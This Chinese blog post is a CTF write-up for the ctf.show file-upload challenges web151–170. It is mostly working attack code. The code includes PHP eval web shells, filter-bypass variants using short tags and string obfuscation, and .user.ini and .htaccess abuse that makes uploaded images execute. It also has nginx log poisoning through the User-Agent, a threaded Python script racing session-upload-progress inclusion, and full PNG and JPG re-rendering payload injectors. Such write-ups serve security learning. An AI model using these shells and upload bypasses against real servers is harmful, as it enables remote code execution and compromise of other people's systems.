题目地址:https://ctf.show/challenges
我直接吐了...因为是边做题边写的博客,在开代理与关代理之间,最后在发布的时候开的本地代理,赶紧换网,然后写了一天的东西都给我没了,本来写的挺详细的,现在心态有点炸了,就随便写点吧...算了写不下去了(原本真的写的超仔细的,还讲了自己所学到的东西以及容易踩的坑,总结什么的)现在基本照搬yu22x大佬的博客了(https://blog.csdn.net/miuzzx/article/details/109537262)到164 这个时候165-170还没做出来,所以后面应该还是会自己写...今天就先到这吧,占个坑,以后再来... 还是觉得好气好气!!!

web151

hint:前端验证,抓包修改数据OK
绕过前端验证
上传.png(没错,只能是png,gif和jpg都不行)文件然后bp抓包后修改后缀,内容为一句话
访问upload/1.php然后 post传1=system('tac ../f*'); flag在当前文件所在位置的上一层。

web152

同web151

web153

本题考察利用上传user.ini进行文件上传绕过。对于user.ini直接献上官方文档。
自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
也就是说如果你目录下有user.ini会先去识别里面的配置。当然文档也说了,并不是所有的配置都可以识别。只有 PHP_INI_PERDIR 和 PHP_INI_USER 模式可以。
然后查阅中文文档和英文文档发现了有些差异
具体的配置可以看该链接
也就是里面除了PHP_INI_SYSTEM模式的配置以外都可以在.user.ini中进行重写。
那么我们就去找我们需要用到配置
发现auto_append_file和auto_prepend_file
一个相当于在每个php文件尾加上 include(“xxxx”),一个相当于文件头加上 include(“xxx”)
其中xxx就是 auto_append_file的值。
如果题目在php.ini中设置了 open_basedir,那么我们就可以上传.user.ini进行修改open_basedir的值,当然条件比较苛刻。大家有兴趣可以研究研究。
现在回到这个题。为了利用auto_append_file,我们首先上传一个带木马的图片,接着上传.user.ini内容为 auto_append_file=“xxx” xxx为我们上传的文件名。
这样就在每个php文件上包含了我们的木马文件。
但是这种方式其实是有个前提的,因为.user.ini只对他同一目录下的文件起作用,也就是说,只有他同目录下有php文件才可以。
对于这个题,因为他upload目录下有个index.php所以这种方式是可以成功的。
文件内容:
auto_prepend_file=pass.png
pass.png
内容:
<?php @eval($_POST['pass']);?>

web154-155

上传正常的图片马失败,经过测试发现是过滤的<xphp 其中的x是任意字符
尝试使用短标签绕过
对于php的标签其他写法,我们这里多说几种
1、

<? echo '123';?>
前提是开启配置参数short_open_tags=on
2、

<?=(表达式)?> 等价于 <?php echo (表达式)?>
不需要开启参数设置
3、

<% echo '123';%>
前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。
4、

不需要修改参数开关,但是只能在7.0以下可用。
对于该题,我们可用使用<?=(表达式)?>进行绕过,图片内容 <?=eval($_POST[1]);?>
剩下的步骤同153

web156

在前面的基础上过滤了 []那我们直接用{}来代替
图片马内容<?=eval($_POST{1});?>

web157-158

过滤了{}和分号,那就直接输出flag算了,不搞一句话了。摊牌了,反正知道flag位置
图片马内容
<?=tac ../f*?>
或者
<?=system('tac ../f*')?>

web159

过滤了括号,那就用反引号就可以啦
<?=tac ../f*?>

web160

过滤了括号反引号还有一些关键字
利用日志包含绕过,图片内容<?=include"/var/lo"."g/nginx/access.lo"."g"?>因为log被过滤了。所以用拼接绕过
上传完.user.ini和图片后
访问网站然后修改ua头信息User Agent:<?php system('tar ../f*');?>
接着访问/upload即可拿到flag

web161

在160的基础上增加图片头即可,即 GIF89A

web162-163

session文件包含
具体原理可用参考链接
刚刚在水群又当做了一遍163吧,
首先上传2.png,抓包更改为.user.ini
GIF89A
auto_prepend_file=/tmp/sess_test
再上传第3.png
GIF89A
<?=include"/tmp/sess_test"?>
再跑一下就ok了
接着上传png

import io
import requests
import threading

sessID = 'test'
url = 'http://b309cf39-67ef-4ccd-8a93-9c7371becec8.chall.ctf.show/'

def write(session):
    while event.isSet():
        f = io.BytesIO(b'a' * 256 * 1)
        response = session.post(
            url,
            cookies={'PHPSESSID': sessID},
            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("nl ../*.php");?>'},
            files={'file': ('test.txt', f)}
        )

def read(session):
    while event.isSet():
        response = session.get(url + 'upload/index.php'.format(sessID))
        if 'flag' in response.text:
            print(response.text)
            event.clear()
        else:
            print('[*]retrying...')


if __name__ == '__main__':
    event = threading.Event()
    event.set()
    with requests.session() as session:
        for i in range(1, 30):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 30):
            threading.Thread(target=read, args=(session,)).start()

web164

参考链接
png图片二次渲染绕过
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,

       0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
       0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
       0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
       0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
       0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
       0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
       0x66, 0x44, 0x50, 0x33);


$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/

?>
运行脚本覆盖掉原来图片的内容,我们上传新生成的图片,接着点查看图片,
输入我们要用的函数&0=system 参数1=tac f*
最后ctrl+s下载后文本查看即可

web165

jpg二次渲染
exp:

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = '<?=eval($_POST[1]);?>';


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }
    
    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

不过成功几率不是特别大,自己多试几次就行了,一次两次不行就换几张图片试试
1、先在网页上传这张图片
2、然后点击查看图片,crtl+s下载被渲染过的图片,另存为1.jpg
3、然后运行脚本,生成payload_1.jpg
4、然后再上传payload_1.jpg,点击查看图片,可以看到图片有明显变化
5、然后抓包,执行命令获取flag

web166

查看源码,发现只能上传zip,而且是一个无过滤的,
写一个一句话 :<?php eval($_POST[bit]);?>
保存为a.zip
上传文件,
然后查看文件抓个包,拿到
http://6a1acce6-4343-4ea0-8d50-9c93856cb454.challenge.ctf.show:8080/upload/download.php?file=007a56caea71243abd613d1f406f9b68.zip
再执行命令
bit=system("cat ../flag.php");
就可以拿到flag了

web167

根据题目提示的httpd,想到是利用htaccess文件
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
首先上传一个jpg文件抓包(因为前段限制了只能上传jpg)

AddType application/x-httpd-php .jpg

修改文件名为 .htaccess
接着再上传jpg格式文件,内容是一句话木马 如:文件名2.jpg 内容为:<?php eval($_POST[bit]);?>
再访问/upload/2.jpg
执行命令:bit=system("tac ../f*");

web168

免杀:

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>

<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>

<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>

<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

就选第一个用吧
选个图片做个图片码,这里有很多种方法,用cmd的copy命令就可以,
完了后上传改下名字,为bit.php(随意),执行命令
http://89448638-b1c4-4569-a12a-d62f3a4618c3.challenge.ctf.show:8080/upload/bit.php?1=tac ../flagaa.php

web169-170

右键源码查看前端限制只能上传zip,先上传一个zip,然后抓包,改Content-Type为image/png,可以传php等格式,但发现内容中过滤了<>和php,试了下可以传.user.ini,我们尝试一下日志包含,User-Agent加上一句话木马

------WebKitFormBoundaryO73DVbSX5G6XGfNN
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

auto_prepend_file="/var/log/nginx/access.log"
------WebKitFormBoundaryO73DVbSX5G6XGfNN--

这里要注意把Content-Type里的改成 image/png
接着得再上传一个php文件,满足.user.ini的利用效果,内容随意
UA写马,然后蚁剑连上,
连不上的话,我用了另一种方法硬找:bit=system("tac ../../../../../../var/www/html/flagaa.php");

标签: none

暂无评论